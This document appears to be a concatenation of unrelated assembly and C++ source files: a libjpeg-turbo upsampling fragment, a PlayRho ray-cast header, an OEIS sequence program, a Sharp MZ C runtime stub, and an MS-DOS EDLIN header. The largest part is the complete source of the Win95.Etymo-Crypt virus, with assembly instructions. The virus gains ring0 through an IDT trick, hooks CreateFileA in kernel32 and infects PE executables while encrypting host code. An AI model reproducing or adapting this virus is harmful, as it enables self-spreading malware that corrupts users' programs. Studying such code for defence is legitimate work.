mov rsi, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY]
mov rbx, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY]
mov rdx, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY]
mov rdi, r13
lea rsi, [rsi+rcx*SIZEOF_JSAMPROW]
push rdx ; inptr2
push rbx ; inptr1
push rsi ; inptr00
mov rbx,rsp
push rdi
push rcx
push rax
%ifdef WIN64
mov r8, rcx
mov r9, rdi
mov rcx, rax
mov rdx, rbx
%else
mov rdx, rcx
mov rcx, rdi
mov rdi, rax
mov rsi, rbx
%endif
call EXTN(jsimd_h2v1_merged_upsample_sse2)
pop rax
pop rcx
pop rdi
pop rsi
pop rbx
pop rdx
add rdi, byte SIZEOF_JSAMPROW ; outptr1
add rsi, byte SIZEOF_JSAMPROW ; inptr01
push rdx ; inptr2
push rbx ; inptr1
push rsi ; inptr00
mov rbx,rsp
push rdi
push rcx
push rax
%ifdef WIN64
mov r8, rcx
mov r9, rdi
mov rcx, rax
mov rdx, rbx
%else
mov rdx, rcx
mov rcx, rdi
mov rdi, rax
mov rsi, rbx
%endif
call EXTN(jsimd_h2v1_merged_upsample_sse2)
pop rax
pop rcx
pop rdi
pop rsi
pop rbx
pop rdx
pop rbx
uncollect_args
pop rbp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
|
/*
* Original work Copyright (c) 2006-2009 Erin Catto http://www.box2d.org
* Modified work Copyright (c) 2017 Louis Langholtz https://github.com/louis-langholtz/PlayRho
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
*
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
#ifndef PLAYRHO_COLLISION_RAYCASTOUTPUT_HPP
#define PLAYRHO_COLLISION_RAYCASTOUTPUT_HPP
/// @file
/// Declaration of the RayCastOutput structure and related free functions.
#include <PlayRho/Common/UnitInterval.hpp>
#include <PlayRho/Common/OptionalValue.hpp>
#include <PlayRho/Collision/RayCastInput.hpp>
#include <PlayRho/Dynamics/BodyID.hpp>
#include <PlayRho/Dynamics/FixtureID.hpp>
namespace playrho {
namespace detail {
template <std::size_t N>
struct AABB;
} // namespace detail
/// @brief Ray cast opcode enumeration.
/// @details Instructs some ray casting methods on what to do next.
enum class RayCastOpcode
{
/// @brief End the ray-cast search for fixtures.
/// @details Use this to stop searching for fixtures.
Terminate,
/// @brief Ignore the current fixture.
/// @details Use this to continue searching for fixtures along the ray.
IgnoreFixture,
/// @brief Clip the ray end to the current point.
/// @details Use this shorten the ray to the current point and to continue searching
/// for fixtures now along the newly shortened ray.
ClipRay,
/// @brief Reset the ray end back to the second point.
/// @details Use this to restore the ray to its full length and to continue searching
/// for fixtures now along the restored full length ray.
ResetRay
};
namespace d2 {
class Shape;
class DistanceProxy;
class DynamicTree;
class World;
/// @brief Ray-cast hit data.
/// @details The ray hits at <code>p1 + fraction * (p2 - p1)</code>, where
/// <code>p1</code> and <code>p2</code> come from <code>RayCastInput</code>.
struct RayCastHit
{
/// @brief Surface normal in world coordinates at the point of contact.
UnitVec normal;
/// @brief Fraction.
/// @note This is a unit interval value - a value between 0 and 1 - or it's invalid.
UnitInterval<Real> fraction = UnitInterval<Real>{0};
};
/// @brief Ray cast output.
/// @details This is a type alias for an optional <code>RayCastHit</code> instance.
/// @see RayCast, Optional, RayCastHit
using RayCastOutput = Optional<RayCastHit>;
/// @brief Ray cast callback function.
/// @note Return 0 to terminate ray casting, or > 0 to update the segment bounding box.
using DynamicTreeRayCastCB = std::function<Real(BodyID body,
FixtureID fixture,
ChildCounter child,
const RayCastInput& input)>;
/// @brief Ray cast callback function signature.
using FixtureRayCastCB = std::function<RayCastOpcode(BodyID body,
FixtureID fixture,
ChildCounter child,
Length2 point,
UnitVec normal)>;
/// @defgroup RayCastGroup Ray Casting Functions
/// @brief Collection of functions that do ray casting.
/// @image html raycast.png
/// @{
/// @brief Cast a ray against a circle of a given radius at the given location.
/// @param radius Radius of the circle.
/// @param location Location in world coordinates of the circle.
/// @param input Ray-cast input parameters.
RayCastOutput RayCast(Length radius, Length2 location, const RayCastInput& input) noexcept;
/// @brief Cast a ray against the given AABB.
/// @param aabb Axis Aligned Bounding Box.
/// @param input the ray-cast input parameters.
RayCastOutput RayCast(const detail::AABB<2>& aabb, const RayCastInput& input) noexcept;
/// @brief Cast a ray against the distance proxy.
/// @param proxy Distance-proxy object (in local coordinates).
/// @param input Ray-cast input parameters.
/// @param transform Transform to be applied to the distance-proxy to get world coordinates.
/// @relatedalso DistanceProxy
RayCastOutput RayCast(const DistanceProxy& proxy, const RayCastInput& input,
const Transformation& transform) noexcept;
/// @brief Cast a ray against the child of the given shape.
/// @note This is a convenience function for calling the ray cast against a distance-proxy.
/// @param shape Shape.
/// @param childIndex Child index.
/// @param input the ray-cast input parameters.
/// @param transform Transform to be applied to the child of the shape.
/// @relatedalso Shape
RayCastOutput RayCast(const Shape& shape, ChildCounter childIndex,
const RayCastInput& input, const Transformation& transform) noexcept;
/// @brief Cast rays against the leafs in the given tree.
///
/// @note This relies on the callback to perform an exact ray-cast in the case where the
/// leaf node contains a shape.
/// @note The callback also performs collision filtering.
/// @note Performance is roughly k * log(n), where k is the number of collisions and n is the
/// number of leaf nodes in the tree.
///
/// @param tree Dynamic tree to ray cast.
/// @param input the ray-cast input data. The ray extends from <code>p1</code> to
/// <code>p1 + maxFraction * (p2 - p1)</code>.
/// @param callback A callback instance function that's called for each leaf that is hit
/// by the ray. The callback should return 0 to terminate ray casting, or greater than 0
/// to update the segment bounding box. Values less than zero are ignored.
///
/// @return <code>true</code> if terminated at the callback's request,
/// <code>false</code> otherwise.
///
bool RayCast(const DynamicTree& tree, RayCastInput input,
const DynamicTreeRayCastCB& callback);
/// @brief Ray-cast the world for all fixtures in the path of the ray.
///
/// @note The callback controls whether you get the closest point, any point, or n-points.
/// @note The ray-cast ignores shapes that contain the starting point.
///
/// @param world The world instance to raycast in.
/// @param input Ray cast input data.
/// @param callback A user implemented callback function.
///
/// @return <code>true</code> if terminated by callback, <code>false</code> otherwise.
///
/// @relatedalso World
bool RayCast(const World& world, const RayCastInput& input, const FixtureRayCastCB& callback);
/// @}
} // namespace d2
} // namespace playrho
#endif // PLAYRHO_COLLISION_RAYCASTOUTPUT_HPP
|
; A124502: a(1)=a(2)=1; thereafter, a(n+1) = a(n) + a(n-1) + 1 if n is a multiple of 5, otherwise a(n+1) = a(n) + a(n-1).
; 1,1,2,3,5,9,14,23,37,60,98,158,256,414,670,1085,1755,2840,4595,7435,12031,19466,31497,50963,82460,133424,215884,349308,565192,914500,1479693,2394193,3873886,6268079,10141965,16410045,26552010,42962055,69514065,112476120
add $0,1
lpb $0
mov $2,$0
trn $0,5
seq $2,22354 ; Fibonacci sequence beginning 0, 20.
add $1,$2
lpe
div $1,20
mov $0,$1
|
; Stub for the SHARP MZ family
;
; Stefano Bodrato - 5/5/2000
;
; $Id: mz_crt0.asm,v 1.8 2007/06/27 20:49:27 dom Exp $
;
MODULE mz_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
INCLUDE "zcc_opt.def"
;--------
; Include zcc_opt.def to find out some info
;--------
INCLUDE "zcc_opt.def"
;--------
; Some scope definitions
;--------
XREF _main ;main() is always external to crt0 code
XDEF cleanup ;jp'd to by exit()
XDEF l_dcal ;jp(hl)
XDEF _std_seed ;Integer rand() seed
XDEF _vfprintf ;jp to the printf() core
XDEF exitsp ;atexit() variables
XDEF exitcount
XDEF heaplast ;Near malloc heap variables
XDEF heapblocks
XDEF __sgoioblk ;stdio info block
XDEF base_graphics ;Graphical variables
XDEF coords ;Current xy position
XDEF snd_tick ;Sound variable
; Now, getting to the real stuff now!
org 4608
.start
ld (start1+1),sp ;Save entry stack
ld hl,-64
add hl,sp
ld sp,hl
ld (exitsp),sp
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
; Set up the std* stuff so we can be called again
ld hl,__sgoioblk+2
ld (hl),19 ;stdin
ld hl,__sgoioblk+6
ld (hl),21 ;stdout
ld hl,__sgoioblk+10
ld (hl),21 ;stderr
ENDIF
ENDIF
call _main
.cleanup
;
; Deallocate memory which has been allocated here!
;
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
LIB closeall
call closeall
ENDIF
ENDIF
.start1
ld sp,0
jp $AD ; Go back to monitor
.l_dcal jp (hl) ;Used for function pointer calls
;-----------
; Define the stdin/out/err area. For the z88 we have two models - the
; classic (kludgey) one and "ANSI" model
;-----------
.__sgoioblk
IF DEFINED_ANSIstdio
INCLUDE "#stdio_fp.asm"
ELSE
defw -11,-12,-10
ENDIF
;---------------------------------
; Select which printf core we want
;---------------------------------
._vfprintf
IF DEFINED_floatstdio
LIB vfprintf_fp
jp vfprintf_fp
ELSE
IF DEFINED_complexstdio
LIB vfprintf_comp
jp vfprintf_comp
ELSE
IF DEFINED_ministdio
LIB vfprintf_mini
jp vfprintf_mini
ENDIF
ENDIF
ENDIF
;-----------
; Now some variables
;-----------
.coords defw 0 ; Current graphics xy coordinates
.base_graphics defw $D000 ; Address of the Graphics map
._std_seed defw 0 ; Seed for integer rand() routines
.exitsp defw 0 ; Address of where the atexit() stack is
.exitcount defb 0 ; How many routines on the atexit() stack
.heaplast defw 0 ; Address of last block on heap
.heapblocks defw 0 ; Number of blocks
IF DEFINED_NEED1bitsound
.snd_tick defb 0 ; Sound variable
ENDIF
defm "Small C+ SHARP MZ"
defb 0
;-----------------------
; Floating point support
;-----------------------
IF NEED_floatpack
INCLUDE "#float.asm"
.fp_seed defb $80,$80,0,0,0,0 ;FP seed (unused ATM)
.extra defs 6 ;FP register
.fa defs 6 ;FP Accumulator
.fasign defb 0 ;FP register
ENDIF
|
; *************************************************************************
; ******************** ********************
; ******************** Win95.Etymo-Crypt ********************
; ******************** by ********************
; ******************** BLACK JACK ********************
; ******************** ********************
; *************************************************************************
comment ~
NAME: Win95.Etymo-Crypt
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
TYPE: Win9x global ring3 resident parasitic PE infector
SIZE: 1308 bytes
DESCRIPTION: When an infected file is run, the virus gets control. It gains
ring0 by the standart IDT modifying trick. But it doesn't stay
resident in ring0 (hooking VxD calls), but it just uses its
ring0 privilege to write to the write-protected kernel32 memory:
it copies itself into a gap in kernel32 in memory (between
the header and the start of the first section, like nigr0's
Win95.K32 virus) and hooks the CreateFileA API.
Whenever the virus intercepts a file open now, it checks if
the opened file is an infectable, uninfected PE EXE and infects
it if all is ok. The infection process is a bit unusual: The
virus creates a new section called ".vdata" (with standart data
section attributes) and saves there the code from the entrypoint,
after it has been encrypted against the virusbody. Then the
entrypoint is overwritten with virus code, most of it encrypted
again. The attributes of the code section are not modified, the
virus doesn't need the write attribute set, because it only
modifies its data when it is in ring0. The pro of this infection
method is that there are no sections with unusual attributes.
KNOWN BUGS: Since the virus needs to be resident to restore control to the
host, there is no need for checking the OS or preventing errors
with SEH, because infected files will crash under WinNT anyways,
there's no way to prevent that.
Because of that unbound import stuff, the virus only catches
very few file opens. In a kernel32.dll infector this would be
easy to prevent by changing the timedate stamp of kernel32.dll.
In this case this doesn't work, because the system checks this
stamp after the kernel32 has been loaded into memory and will
give error messages if it has been changed each times the user
tries to start a program. Another possible solution, patching
the entry point of the hooked API with the JMP_virus instruction,
like nigr0 and Bumblebee do, won't work too, because with my
residency method the kernel memory stays write protected. And so
this virus is a slow infector, but it still catches enough file
opens to replicate successfully.
ASSEMBLE WITH:
tasm32 /mx /m etymo.asm
tlink32 /Tpe /aa etymo.obj,,, import32.lib
there's no need for PEWRSEC or a similar tool, because the
virus code is supposed to run in a read-only section anyways.
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
Therefore, this source was only written for research and
education. Please do not spread it. The author can't be hold
responsible for what you decide to do with this source.
PS: Greetings go to Gilgalad for the name of this virus!
~
; ===========================================================================
virussize EQU (virus_end - virus_start)
workspace EQU 10000
Extrn MessageBoxA:Proc ; only for 1st gen
Extrn ExitProcess:Proc
386p
model flat
; First generation code is in the data section:
data
start:
push 0 ; show stupid messagebox
push offset caption
push offset message
push 0
call MessageBoxA
JMP virus_start
quit_1st_gen:
; quit program
push 0 ; exit code
push 0 ; ret address of call
push offset ExitProcess ; can't do a real call,
RET ; because this code is moved
caption db "Black Jack strikes again...", 0
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
skip_decryption_1st_gen:
mov esi, offset new_bytes ; skip the decryption in the
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
movsb
movsd
JMP over_encryption
new_bytes:
mov ecx, ((virus_end - encrypted)/4)
; Virus body is in the code section:
code
virus_start:
; We have to access the section with the original host code from ring3 first,
; because if we access it first from ring0, it is not mapped yet and the
; virus will cause an exception. besides, the first dword of the encrypted
; host code is also the key for the virus decryption.
db 0A1h ; mov eax, [imm32]
org_host_code_VA dd offset quit_1st_gen
call next ; go to ring0 calling routine
; ----- FIRST PART OF RING0 CODE --------------------------------------------
r0proc:
pop ebp ; offset of end_next label
sub ebp, (end_next - virus_start) ; EBP=delta offset
push ebp ; is also true offset of
; virus start in memory,
; where we will return to
mov dword ptr [edx+5*8], esi ; restore interrupt
mov dword ptr [edx+5*8+4], edi ; descriptor
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
jmp_skip_decryption_1st_gen:
JMP skip_decryption_1st_gen ; skip decryption in first
; generation. will be
; replaced with:
; mov ecx, ((virus_end - encrypted)/4)
decrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
xor dword ptr [edi], eax ; decrypt one dword
mov eax, dword ptr [edi] ; decrypted dword is new key
LOOP decrypt_virus_body ; loop until all is decrypted
JMP encrypted ; jump to code that was just
; decrypted.
; ----- JUMP TO RING0 -------------------------------------------------------
next:
push edx ; reserve room on stack
sidt [esp-2] ; get IDT address
pop edx ; EDX=IDT address
mov esi, dword ptr [edx+5*8] ; save old interrupt
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
pop ebx ; get address of ring0 proc
mov word ptr [edx+5*8], bx ; write offset of our ring0
shr ebx, 16 ; procedure into interrupt
mov word ptr [edx+5*8+6], bx ; descriptor
int 5 ; call our ring0 code!
end_next:
; no IRET to here.
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
encrypted:
; now we decrypt the original start code of the host, which has been
; encrypted against the virus body.
mov esi, ebp ; ESI=start of virus body
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
xor ecx, ecx ; ECX=0
decrypt_loop:
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all decrypted?
JB decrypt_loop ; loop until all is done
over_encryption:
; the kernel32 address is hardcoded, because this is virus is only Win95
; compatible anyways
mov eax, 0BFF70000h ; EAX=kernel32 offset
mov ebx, eax ; EBX=EAX
add ebx, [eax+3Ch] ; EBX=PE header VA
mov edi, [ebx+54h] ; header size
add edi, eax ; EDI=virus VA
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
JE already_resident ; residency marker
push edi ; save virus VA in kernel32
; ----- SEARCH API ADDRESSES ------------------------------------------------
mov edx, [ebx+78h] ; EDX=export directory RVA
add edx, eax ; EDX=export directory VA
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
; to API names
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
; API adresses
find_API:
xor ecx, ecx ; ECX=0 (API names counter)
search_loop:
pusha ; save all registers
push eax ; save EAX (kernel32 offset)
lodsd ; get offset of API name
or eax, eax ; all done?
JZ all_found
add eax, ebp ; fixup with delta offset
xchg eax, esi ; ESI=VA of a needed API name
pop eax ; restore EAX (kernel32 offs)
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
add edi, eax ; EDI=AddressOfNames VA
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
add edi, eax ; EDI=VA of API Name
cmp_loop:
lodsb ; get char from our API name
scasb ; equal to the one in k32 ?
JNE search_on_API ; if not,try next exported API
or al, al ; end of name?
JZ found_API ; we've found an needed API!
JMP cmp_loop ; go on with name compare
search_on_API:
popa ; restore all registers
inc ecx ; try next API in exports
JMP search_loop ; go on
found_API:
popa ; restore all registers
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
add ecx, [edx+24h] ; AddressOfOrdinals RVA
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
shl ecx, 2 ; ECX=ECX*4
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
add ecx, eax ; ECX=VA of API RVA
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
mov ecx, [ecx] ; ECX=API RVA
push eax ; save EAX (kernel32 base)
add eax, ecx ; EAX=API VA!
stosd ; store it!
lodsd ; do the next API (add esi,4)
pop eax ; restore EAX (kernel32 base)
JMP find_API ; do next API.
all_found:
pop eax ; remove EAX from stack
popa ; restore all registers
; last found API is hooked
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
mov edx, [ebx+54h] ; kernel32 header size
; (virus RVA in kernel32)
add edx, (hook - virus_start) ; RVA virus hook in kernel32
mov [ecx], edx ; hook API!
pop edi ; restore EDI:virus VA in k32
mov esi, ebp ; ESI=start of virus in mem
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move virus to TSR location!
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
JMP restore_host ; restore host
already_resident:
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
restore_host:
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
; of original host code
JMP edi ; go to go_on_r0 in kernel32
go_on_r0:
mov edi, ebp ; EDI=virus/host entrypoint
mov ecx, virussize ; ECX=virussize
cld ; clear directory flag
rep movsb ; move host code back!
iretd ; go to original entry point
; in ring3!
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
hook:
push eax ; reserve room on stack for
; return address
pushf ; save flags
pusha ; save all registers
call TSR_next ; get delta offset
TSR_next:
pop ebp
sub ebp, offset TSR_next
mov eax, [ebp+offset CreateFileA] ; address of original routine
mov [esp+9*4], eax ; set return address
mov esi, [esp+11*4] ; get address of filename
push esi ; save it
search_ext:
lodsb ; get a byte from filename
or al, al ; end of filename?
JNZ search_ext ; search on
mov eax, [esi-4] ; get extension in AX
pop esi ; restore filename ptr in ESI
or eax, 00202020h ; make lowercase
cmp eax, "exe" ; is it an EXE file?
JNE exit_hook ; if not, then exit
push esi ; offset filename
call [ebp+offset GetFileAttributesA] ; get file attribtes
inc eax ; -1 means error
JZ exit_hook
dec eax
push eax ; save attributes and
push esi ; filename ptr so we can
; restore the attribs later
push 80h ; normal attributes
push esi
call [ebp+offset SetFileAttributesA] ; reset file attributes
or eax, eax ; 0 means error
JZ reset_attributes
push 0 ; template file (shit)
push 80h ; file attributes (normal)
push 3 ; open existing
push 0 ; security attributes (shit)
push 0 ; do not share file
push 0C0000000h ; read/write mode
push esi ; pointer to filename
call [ebp+offset CreateFileA] ; OPEN FILE.
inc eax ; EAX= -1 (Invalid handle)
JZ reset_attributes
dec eax
push eax ; save filehandle
xchg edi, eax ; EDI=filehandle
sub esp, 3*8 ; reserve space on stack
; to store the filetimes
mov ebx, esp ; get the filetimes to the
push ebx ; reserved place on stack
add ebx, 8
push ebx
add ebx, 8
push ebx
push edi ; filehandle
call [ebp+offset GetFileTime] ; get the filetimes
or eax, eax ; error?
JZ closefile
push 0 ; high file_size dword ptr
push edi
call [ebp+offset GetFileSize] ; get the filesize to EAX
inc eax ; -1 means error
JZ closefile
dec eax
mov ebx, esp ; save addresses of filetimes
push ebx ; for the API call to restore
add ebx, 8 ; them later
push ebx
add ebx, 8
push ebx
push edi
push edi ; filehandle for SetEndofFile
; for the SetFilePointer at
; the end to truncate file
push 0 ; move relative to filestart
push 0 ; high word of file pointer
push eax ; filesize
push edi ; filehandle
add eax, workspace
push 0 ; name file mapping obj (shit)
push eax ; low dword of file_size
push 0 ; high dword of file_size
push 4 ; PAGE_READWRITE
push 0 ; security attributes (shit)
push edi
call [ebp+offset CreateFileMappingA]
or eax, eax ; error happened?
JZ error_createfilemapping
push eax ; save maphandle for
; CloseHandle
push 0 ; map the whole file
push 0 ; low dword of fileoffset
push 0 ; high dword of fileoffset
push 2 ; read/write access
push eax ; maphandle
call [ebp+offset MapViewOfFile]
or eax, eax
JZ closemaphandle
push eax ; save mapbase for
; UnmapViewOfFile
cmp word ptr [eax], "ZM" ; exe file?
JNE closemap ; if not, then exit
cmp word ptr [eax+18h], 40h ; new executable header?
JNE closemap ; if not, then exit
add eax, [eax+3Ch] ; EBX=new header address
cmp dword ptr [eax], "EP" ; PE file?
JNE closemap ; if not, then exit
test word ptr [eax+16h], 0010000000000000b ; DLL ?
JNZ closemap ; if yes, then exit
movzx ecx, word ptr [eax+14h] ; SizeOfOptionalHeader
mov ebx, eax ; EBX=offset PE header
add ebx, 18h ; SizeOfNTHeader
add ebx, ecx ; EBX=first section header
push ebx ; save it
find_code_section:
mov ecx, [eax+28h] ; ECX=EntryRVA
sub ecx, [ebx+0Ch] ; Virtualaddress of section
sub ecx, [ebx+10h] ; SizeOfRawData
JB found_code_section ; we found the code section!
add ebx, 40 ; next section
JMP find_code_section ; search on
found_code_section:
mov edx, [eax+28h] ; EDX=EntryRVA
sub edx, [ebx+0Ch] ; Virtualaddress
add edx, [ebx+14h] ; AddressOfRawData
; EDX=RAW ptr to entrypoint
pop ebx ; EBX=first section header
cmp ecx, -virussize ; enough room left in the
JG closemap ; section for the virus body?
mov ecx, [esp] ; ECX=mapbase
add ecx, edx ; ECX=entrypoint in Filemap
cmp byte ptr [ecx], 0A1h ; already infected ?
JE closemap ; if so, then exit
push edx ; save RAW entrypoint address
movzx edx, word ptr [eax+6] ; NumberOfSections
dec edx
imul edx, edx, 40
add ebx, edx ; EBX=last section header
inc word ptr [eax+6] ; increase NumberOfSections
mov dword ptr [ebx+40+00h], "adv." ; name ".vdata"
mov dword ptr [ebx+40+04h], "at"
mov dword ptr [ebx+40+08h], virussize ; Virtualsize
mov edx, [ebx+0Ch] ; VirtualAddress
add edx, [ebx+08h] ; VirtualSize
mov ecx, [eax+38h] ; SectionAlign
call align_EDX
mov dword ptr [ebx+40+0Ch], edx ; VirtualAddress
add edx, virussize ; new ImageSize
call align_EDX ; align to SectionAlign
mov dword ptr [eax+50h], edx ; store new ImageSize
mov edx, virussize
mov ecx, [eax+3Ch] ; FileAlign
call align_EDX ; align virsize to FileAlign
mov dword ptr [ebx+40+10h], edx ; store new SizeOfRawData
mov edx, [ebx+14h] ; PointerToRawData
add edx, [ebx+10h] ; SizeOfRawData
call align_EDX ; align new section
; raw offset to FileAlign
mov dword ptr [ebx+40+14h], edx ; store new PointerToRawData
add edx, [ebx+40+10h] ; SizeOfRawData
mov dword ptr [esp+4*4], edx ; new filesize
mov dword ptr [ebx+40+18h], 0 ; Relocation shit
mov dword ptr [ebx+40+1Ch], 0
mov dword ptr [ebx+40+20h], 0
mov dword ptr [ebx+40+24h], 0C0000040h ; flags: [IWR], this is the
; standart for data sections
mov edx, dword ptr [ebx+40+0Ch] ; RVA host code
add edx, [eax+34h] ; add ImageBase to get VA
pop esi ; ESI=RAW entrypoint address
pop eax ; EAX=mapbase
push eax ; we still need it on stack
add esi, eax ; ESI=entrypoint in FileMap
push esi ; save it on stack
mov edi, dword ptr [ebx+40+14h] ; PointerToRawData
add edi, eax ; start of new section in map
mov ecx, virussize ; bytes to move
push ecx ; save virussize on stack
cld
mov eax, edi ; EAX=new section in FileMap
rep movsb ; of entry point code to
; newly created section
pop ecx ; ECX=virussize
pop edi ; EDI=entrypoint in Filemap
lea esi, [ebp + offset virus_start] ; ESI=virusstart in memory
rep movsb ; move virus body to
; original Entrypoint of File
mov [edi - (virus_end-org_host_code_VA)], edx ; store RVA of
; original host start code
push edi ; Save end of virus body
; in Filemap
mov esi, edi ; ESI=virus end in Filemap
sub esi, virussize ; ESI=virus start in Filemap
xchg edi, eax ; EDI=start of new section
; Encrypt the code from the original entry point against the virus body.
encrypt_loop:
lodsb
add byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
lodsb
sub byte ptr [edi+ecx], al
inc ecx
lodsb
xor byte ptr [edi+ecx], al
inc ecx
cmp ecx, virussize ; all encrypted?
JB encrypt_loop ; if not, then crypt on
; and now the main part of the virus body is encrypted itself. It is crypted
; from the end of the virus body upwards, for each dword is the next dword
; used as crypt key. The first key is the first dword of the encrypted
; host code.
mov ecx, ((virus_end - encrypted)/4) ; size to crypt in dwords
mov eax, dword ptr [edi] ; initial key
pop edi ; end of virus in filemap
encrypt_virus_body:
dec edi ; go to previous dword
dec edi
dec edi
dec edi
mov ebx, dword ptr [edi] ; this dword is the next key
xor dword ptr [edi], eax ; encrypt it with this key
xchg ebx, eax ; change keys
LOOP encrypt_virus_body ; LOOP until encryption done
; the parameters for the following API calls have already been pushed on the
; stack while the opening process of the file
closemap:
call [ebp+offset UnmapViewOfFile] ; unmap file
closemaphandle:
call [ebp+offset CloseHandle] ; close map handle
error_createfilemapping:
call [ebp+offset SetFilePointer] ; set file pointer to EOF
call [ebp+offset SetEndOfFile] ; truncate file here
call [ebp+offset SetFileTime] ; restore filetimes
closefile:
add esp, 8*3 ; remove filetimes from stack
call [ebp+offset CloseHandle] ; close file
reset_attributes:
call [ebp+offset SetFileAttributesA] ; reset attributes
exit_hook:
popa ; restore all registers
popf ; restore flags
ret ; go to original API routine
; ----- ALIGN SUBROUTINE ----------------------------------------------------
; aligns EDX to ECX
align_EDX:
push eax ; save EAX
push edx ; save EDX
xchg eax, edx ; EAX=value to align
xor edx, edx ; EDX=0
div ecx ; divide EDX:EAX by ECX
pop eax ; restore old EDX in EAX
or edx, edx ; EDX=mod of division
JZ already_aligned ; already aligned?
add eax, ecx ; if not align
sub eax, edx ; EDX=mod
already_aligned:
xchg eax, edx ; EDX=aligned value
pop eax ; restore EAX
ret
db "[Win95.Etymo-Crypt] by Black Jack", 0
db "This virus was written in Austria in May/June/July 2000", 0
names_RVA_table:
dd (n_GetFileAttributesA - virus_start)
dd (n_SetFileAttributesA - virus_start)
dd (n_GetFileTime - virus_start)
dd (n_GetFileSize - virus_start)
dd (n_CreateFileMappingA - virus_start)
dd (n_MapViewOfFile - virus_start)
dd (n_UnmapViewOfFile - virus_start)
dd (n_SetFilePointer - virus_start)
dd (n_SetEndOfFile - virus_start)
dd (n_CloseHandle - virus_start)
dd (n_SetFileTime - virus_start)
dd (n_CreateFileA - virus_start)
dd 0
n_GetFileAttributesA db "GetFileAttributesA", 0
n_SetFileAttributesA db "SetFileAttributesA", 0
n_GetFileTime db "GetFileTime", 0
n_GetFileSize db "GetFileSize", 0
n_CreateFileMappingA db "CreateFileMappingA", 0
n_MapViewOfFile db "MapViewOfFile", 0
n_UnmapViewOfFile db "UnmapViewOfFile", 0
n_SetFilePointer db "SetFilePointer", 0
n_SetEndOfFile db "SetEndOfFile", 0
n_CloseHandle db "CloseHandle", 0
n_SetFileTime db "SetFileTime", 0
n_CreateFileA db "CreateFileA", 0
API_RVAs:
GetFileAttributesA dd ?
SetFileAttributesA dd ?
GetFileTime dd ?
GetFileSize dd ?
CreateFileMappingA dd ?
MapViewOfFile dd ?
UnmapViewOfFile dd ?
SetFilePointer dd ?
SetEndOfFile dd ?
CloseHandle dd ?
SetFileTime dd ?
CreateFileA dd ?
hook_API dd ?
if ((($-virus_start) mod 4) NE 0) ; align virussize to dwords
db (4-(($-virus_start) mod 4)) dup(0)
endif
virus_end:
end start |
PAGE 60,132;
TITLE EDLIN
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;======================= START OF SPECIFICATIONS =========================
;
; MODULE NAME: EDLIN.SAL
;
; DESCRIPTIVE NAME: LINE TEXT EDITOR
;
; FUNCTION: EDLIN IS A SIMPLE, LINE ORIENTED TEXT EDITOR. IT PROVIDES
; USERS OF DOS THE ABILITY TO CREATE AND EDIT TEXT FILES.
;
; ENTRY POINT: EDLIN
;
; INPUT: DOS COMMAND LINE
; EDLIN COMMANDS
; TEXT
;
; EXIT NORMAL: NA
;
; EXIT ERROR: NA
;
; INTERNAL REFERENCES:
;
; EXTERNAL REFERENCES:
;
; ROUTINE: EDLCMD1 - CONTAINS ROUTINES CALLED BY EDLIN
; EDLCMD1 - CONTAINS ROUTINES CALLED BY EDLIN
; EDLMES - CONTAINS ROUTINES CALLED BY EDLIN
;
; LINK EDLIN+EDLCMD1+EDLCMD2+EDLMES+EDLPARSE
;
; REVISION HISTORY:
;
; AN000 VERSION 4.00 - REVISIONS MADE RELATE TO THE FOLLOWING:
;
; - IMPLEMENT SYSPARSE
; - IMPLEMENT MESSAGE RETRIEVER
; - IMPLEMENT DBCS ENABLING
; - ENHANCED VIDEO SUPPORT
; - EXTENDED OPENS
; - SCROLLING ERROR
;
; COPYRIGHT: "MS DOS EDLIN UTILITY"
; "VERSION 4.00 (C) COPYRIGHT 1988 Microsoft"
; "LICENSED MATERIAL - PROPERTY OF Microsoft"
;
;
